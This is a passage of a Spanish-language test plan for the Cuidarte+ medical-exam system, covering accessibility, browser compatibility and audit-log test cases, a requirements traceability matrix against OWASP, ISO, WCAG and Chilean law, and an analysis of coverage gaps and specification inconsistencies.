CP-08 Usabilidad y accesibilidad para adultos mayores

Campo	Detalle		
ID	CP-08		
Nombre	Un paciente adulto mayor consulta y descarga su examen sin asistencia		
Requerimiento asociado	NFR-USAB-1, NFR-USAB-4, punto 3.1.1 del ERS	Tipo de prueba	Usabilidad y accesibilidad
Descripción	Evaluar si la interfaz cumple el requisito de accesibilidad para usuarios mayores mediante observación directa y auditoría automática contra WCAG 2.1 nivel AA		
Precondiciones	Cinco usuarios representativos mayores de 65 años, sin experiencia previa con el sistema. Cada uno tiene credenciales de paciente con exámenes cargados. Sesión grabada con consentimiento firmado		
Pasos	1. Entregar al usuario la tarea de consultar el resultado de su último examen, sin instrucciones adicionales. 2. Observar y cronometrar sin intervenir, registrando dudas, errores y puntos de abandono. 3. Entregar la tarea de descargar el documento asociado. 4. Aplicar el cuestionario de la Escala de Usabilidad del Sistema al terminar. 5. Auditar las pantallas del flujo con axe DevTools y Lighthouse. 6. Recorrer el flujo completo usando solo el teclado y verificar el orden de foco		
Resultado esperado	Los cinco usuarios completan ambas tareas sin bloqueos mayores. Ninguna pantalla presenta violaciones de nivel A o AA. El flujo es operable en su totalidad por teclado, con el foco siempre visible		
Criterio de aceptación	El puntaje promedio en la Escala de Usabilidad del Sistema es igual o superior a 68. El contraste de todo el texto alcanza al menos 4,5:1 según el criterio 1.4.3 de WCAG 2.1. Los controles táctiles miden al menos 24 por 24 píxeles CSS. Los formularios tienen etiquetas asociadas y atributos ARIA correctos. El flujo respeta la jerarquía de NFR-USAB-4: primero se accede al paciente y luego a sus exámenes		
Datos de prueba	Cinco perfiles de paciente con tres exámenes cada uno, de tipos distintos y con documentos adjuntos en PDF y JPG		

CP-09 Compatibilidad entre navegadores y dispositivos

Campo	Detalle		
ID	CP-09		
Nombre	Ejecución del flujo principal sobre la matriz de navegadores y resoluciones comprometida		
Requerimiento asociado	NFR-COMPAT-1, NFR-COMPAT-2	Tipo de prueba	Compatibilidad
Descripción	Verificar que la aplicación de página única se comporta de forma equivalente en las dos últimas versiones de los cuatro navegadores declarados y en las tres familias de resolución		
Precondiciones	Aplicación desplegada en QA. Acceso a BrowserStack con los navegadores y dispositivos de la matriz		
Pasos	1. Ejecutar el flujo de inicio de sesión, consulta de examen y descarga de documento en cada combinación de la matriz. 2. Registrar defectos visuales, funcionales y de rendimiento percibido. 3. Verificar el comportamiento adaptable en 1920x1080, 768x1024 y 375x667. 4. Comprobar que la carga y descarga de documentos funciona en iOS Safari, donde el manejo de archivos difiere del resto		
Resultado esperado	El flujo completo se ejecuta sin errores funcionales en las ocho combinaciones de navegador y versión. El diseño se adapta sin cortes de contenido, desbordes horizontales ni solapamiento de elementos en las tres resoluciones		
Criterio de aceptación	No se registran defectos funcionales en ninguna combinación. Los defectos visuales menores se documentan y se clasifican de severidad baja. La descarga de documentos funciona en iOS Safari, que es la combinación históricamente más frágil para el manejo de archivos		
Datos de prueba	Matriz: Chrome 129 y 130, Firefox 131 y 132, Safari 17 y 18, Edge 129 y 130. Dispositivos: escritorio Windows y macOS, iPad, iPhone y un dispositivo Android de gama media		

CP-10 Registro de auditoría de acciones críticas

Campo	Detalle		
ID	CP-10		
Nombre	La auditoría registra de forma completa e íntegra las acciones sobre datos clínicos		
Requerimiento asociado	RF-5.1, NFR-SEG-6	Tipo de prueba	Funcional y de cumplimiento normativo
Descripción	Verificar que toda acción crítica queda registrada con la información necesaria para acreditar, ante una fiscalización, quién accedió a qué ficha clínica y cuándo. El registro es la evidencia que exige el artículo 13 de la Ley 20.584 y el deber de trazabilidad de la Ley 21.719		
Precondiciones	Registro de auditoría habilitado y vacío al inicio de la prueba. Usuarios de los tres roles disponibles con sesión iniciada		
Pasos	1. Ejecutar la secuencia completa de acciones críticas: crear, editar y eliminar un paciente; crear, editar y eliminar un examen; subir y descargar un documento; crear, editar y eliminar un usuario. 2. Consultar el módulo de auditoría como administrador. 3. Verificar que cada acción tiene su registro con usuario, rol, fecha y hora, acción ejecutada y recurso afectado. 4. Intentar modificar o borrar un registro de auditoría desde la interfaz y desde la API. 5. Revisar el contenido de los registros en busca de datos clínicos en claro		
Resultado esperado	Las once acciones del paso 1 generan su registro correspondiente, sin omisiones. El paso 4 se rechaza en ambos frentes. El paso 5 confirma que los registros identifican el recurso por su identificador y no reproducen resultados de exámenes ni contenido de documentos		
Criterio de aceptación	La cobertura del registro es total sobre las acciones críticas que enumera RF-5.1. Los registros son inmutables incluso para el rol administrador. Ningún registro contiene datos sensibles en claro, conforme a NFR-SEG-6. El módulo de consulta permite filtrar por usuario, por recurso y por rango de fechas, que es lo mínimo para responder un requerimiento de fiscalización		
Datos de prueba	Paciente RUT 12.345.678-5, examen ID 1004, documento ecografia.pdf, usuario auxiliar.prueba		

5. Matriz de trazabilidad

La matriz vincula cada requisito del ERS con el caso que lo verifica, el tipo de prueba aplicado y el estándar o norma que respalda el criterio.

Requisito ERS	Caso de prueba	Tipo de prueba	Estándar o norma de respaldo
RF-1.1, RF-1.2	CP-01	Funcional y seguridad de sesión	OWASP ASVS V3; ISO/IEC 25010 adecuación funcional
RF-2.1	Ver capítulo 6	Sin cobertura en esta iteración	ISO/IEC 25010 adecuación funcional
RF-2.2 a RF-2.7	CP-03, CP-10	Funcional	ISO/IEC 25010 adecuación funcional
RF-3.1, RF-3.2	CP-03	Funcional e integración	ISO/IEC 29119-4 técnicas de prueba
RF-3.3	CP-04	Funcional	Ley 20.584 art. 12, conservación de la ficha clínica
RF-4.1	CP-02	Seguridad, control de acceso	OWASP Top 10:2021 A01; Ley 20.584 art. 13
RF-4.2	CP-06	Rendimiento y funcional	ISO/IEC 25010 eficiencia de desempeño
RF-4.3, RF-4.4	CP-03	Integración	OWASP ASVS V12, manejo de archivos
RF-5.1	CP-10	Funcional y cumplimiento	Ley 21.719; Ley 20.584 art. 13; OWASP Top 10:2021 A09
NFR-SEG-1	CP-01, CP-07	Seguridad	OWASP ASVS V9
NFR-SEG-2	CP-01	Seguridad	OWASP ASVS V2.4; NIST SP 800-63B
NFR-SEG-3	CP-03, CP-10	Seguridad	ISO 27799; ISO/IEC 27002:2022
NFR-SEG-4	CP-02	Seguridad	OWASP Top 10:2021 A01; OWASP API Security Top 10 API1

Requisito ERS	Caso de prueba	Tipo de prueba	Estándar o norma de respaldo
NFR-SEG-5	CP-07	Seguridad	OWASP Top 10:2021 A03
NFR-SEG-6	CP-10	Seguridad y cumplimiento	OWASP Top 10:2021 A09; Ley 21.719
NFR-SEG-7	Ver capítulo 6	Sin cobertura en esta iteración	ISO/IEC 27002:2022 control 8.13
NFR-SEG-8	CP-02, CP-10	Cumplimiento	Ley 19.628; Ley 21.719; Ley 20.584
NFR-SEG-9	CP-01	Seguridad de sesión	OWASP ASVS V3
NFR-PERF-1, NFR-PERF-3	CP-05	Rendimiento	ISO/IEC 25010 eficiencia de desempeño
NFR-PERF-2	CP-06	Rendimiento	ISO/IEC 25010 eficiencia de desempeño
NFR-USAB-1, NFR-USAB-4	CP-08	Usabilidad y accesibilidad	WCAG 2.1 nivel AA; ISO 9241-11
NFR-USAB-2, NFR-USAB-3	CP-08	Usabilidad	ISO 9241-11
NFR-DIS-1, NFR-DIS-2	Ver capítulo 6	Sin cobertura en esta iteración	ISO/IEC 25010 fiabilidad
NFR-COMPAT-1, NFR-COMPAT-2	CP-09	Compatibilidad	ISO/IEC 25010 compatibilidad
RB-1, RB-2, RB-3	CP-02, CP-10	Seguridad y funcional	Ley 20.584 art. 13

6. Análisis de cobertura y coherencia del plan

6.1 Cobertura alcanzada

Los diez casos cubren los cinco grupos de requisitos funcionales y cuatro de las cinco categorías de requisitos no funcionales. Sobre 25 líneas de requisito rastreadas en la matriz, 22 tienen al menos un caso asociado, lo que da una cobertura del 88%. Las pruebas se concentran donde está el riesgo: cuatro de los diez casos verifican requisitos de seguridad, y los dos de mayor prioridad, CP-02 y CP-07, apuntan a los vectores que comprometerían datos clínicos. De los diez casos, cuatro son funcionales o de integración y seis verifican atributos no funcionales: dos de seguridad, dos de rendimiento, uno de usabilidad y accesibilidad y uno de compatibilidad.

6.2 Brechas de cobertura reconocidas

Tres líneas de requisito quedaron sin caso asociado y conviene declararlo antes que simularlo. RF-2.1, el autorregistro de un paciente, se cubre en el ciclo siguiente junto con la verificación del correo de confirmación del punto 2.5 del ERS, pendiente de que el proveedor de correo quede integrado. NFR-SEG-7 exige una prueba de restauración completa desde un respaldo, que necesita una ventana de indisponibilidad coordinada con infraestructura del centro de salud, y se planifica como actividad separada posterior a la sexta semana. NFR-DIS-1 y NFR-DIS-2 no se pueden verificar en un ciclo de seis semanas, porque la disponibilidad se mide por observación en producción durante al menos un mes calendario; lo que sí se deja instalado es el monitoreo que hará esa medición, junto con la prueba de resistencia de ocho horas del punto 3.2, que entrega un indicio temprano de estabilidad.

6.3 Inconsistencias detectadas en la especificación

La revisión del ERS dejó a la vista varios problemas del documento fuente que afectan la verificabilidad de los requisitos.

El documento arrastra contenido de otra especificación: el glosario del punto 1.3 define Atlas como plataforma de gestión de clientes y contratos y el rol Editor, que no existe en Cuidarte+; el punto 2.3 afirma que cada usuario debe pertenecer a una o más empresas; y RF-5.1 enumera como acciones auditables la creación, edición y eliminación de clientes y contratos, cuando los objetos del dominio son pacientes y exámenes. Para efectos de este plan, RF-5.1 se interpretó sobre los objetos reales, y así quedó redactado CP-10. Hay además un error de nomenclatura reiterado: el glosario y NFR-SEG-1 escriben TSL en lugar de TLS. Y el punto 3.1.1 fija un tamaño de fuente de 12 píxeles, cifra que choca con el propio NFR-USAB-1: el plan prueba contra el requisito de accesibilidad, no contra el número, y recomienda elevar el mínimo a 16 píxeles.

Faltan requisitos que la normativa vigente exige. No hay ninguno sobre el consentimiento del titular para el tratamiento de datos de salud, exigible según el artículo 10 de la Ley 19.628 y reforzado por la Ley 21.719. Tampoco hay política de retención ni procedimiento de eliminación de datos clínicos, ni un mecanismo para que el paciente ejerza sus derechos de acceso, rectificación y supresión. No se exige segundo factor de autenticación para los roles médico y administrador, que acceden a información clínica de terceros. Y no se definen objetivos de tiempo y punto de recuperación que den contenido verificable a la política de respaldos de NFR-SEG-7. Son vacíos de especificación, no defectos de implementación, y ninguna prueba los cubre mientras el requisito no exista: corresponde elevarlos al equipo de análisis antes del cierre de la versión.

6.4 Coherencia con los objetivos del proyecto

El plan mantiene correspondencia directa entre los tres pilares del alcance del ERS y sus mecanismos de verificación. La protección de datos se verifica con CP-02, CP-07 y CP-10, apoyados en OWASP y en la legislación chilena de datos personales y derechos del paciente. Los estándares de seguridad, con el checklist ASVS nivel 2 y el análisis estático y dinámico del punto 3.2. La accesibilidad desde escritorio, tablet y móvil con atención a adultos mayores, con CP-08 y CP-09 contra WCAG 2.1 nivel AA. La priorización por riesgo del punto 3.1 es coherente con esa jerarquía: los requisitos cuya falla expone datos clínicos encabezan la lista y son los únicos que no admiten defectos abiertos a la entrega.

7. Referencias

Chile. Ley 19.628, sobre protección de la vida privada. Diario Oficial, 28 de agosto de 1999.

Chile. Ley 20.584, que regula los derechos y deberes que tienen las personas en relación con acciones vinculadas a su atención en salud. Diario Oficial, 24 de abril de 2012.

Chile. Ley 21.663, Ley Marco de Ciberseguridad e Infraestructura Crítica de la Información. Diario Oficial, 8 de marzo de 2024.

Chile. Ley 21.719, que regula la protección y el tratamiento de los datos personales y crea la Agencia de Protección de Datos Personales. Diario Oficial, 13 de diciembre de 2024.

CreaLab Spa. Especificación de requerimientos de software: Sistema de exámenes médicos Cuidarte+. Versión 1.1, 13 de abril de 2026.

International Organization for Standardization. ISO/IEC 25010, Systems and software engineering: Systems and software Quality Requirements and Evaluation (SQuaRE), System and software quality models.

International Organization for Standardization. ISO/IEC/IEEE 29119, Software and systems engineering: Software testing. Partes 1 a 4.

International Organization for Standardization. ISO/IEC 27001:2022 e ISO/IEC 27002:2022, Information security, cybersecurity and privacy protection.

International Organization for Standardization. ISO 27799:2016, Health informatics: Information security management in health using ISO/IEC 27002.

International Organization for Standardization. ISO 9241-11:2018, Ergonomics of human-system interaction: Usability, definitions and concepts.

OWASP Foundation. OWASP Top 10:2021 y OWASP API Security Top 10:2023.

OWASP Foundation. Application Security Verification Standard, versión 4.0.3.

World Wide Web Consortium. Web Content Accessibility Guidelines (WCAG) 2.1 y 2.2.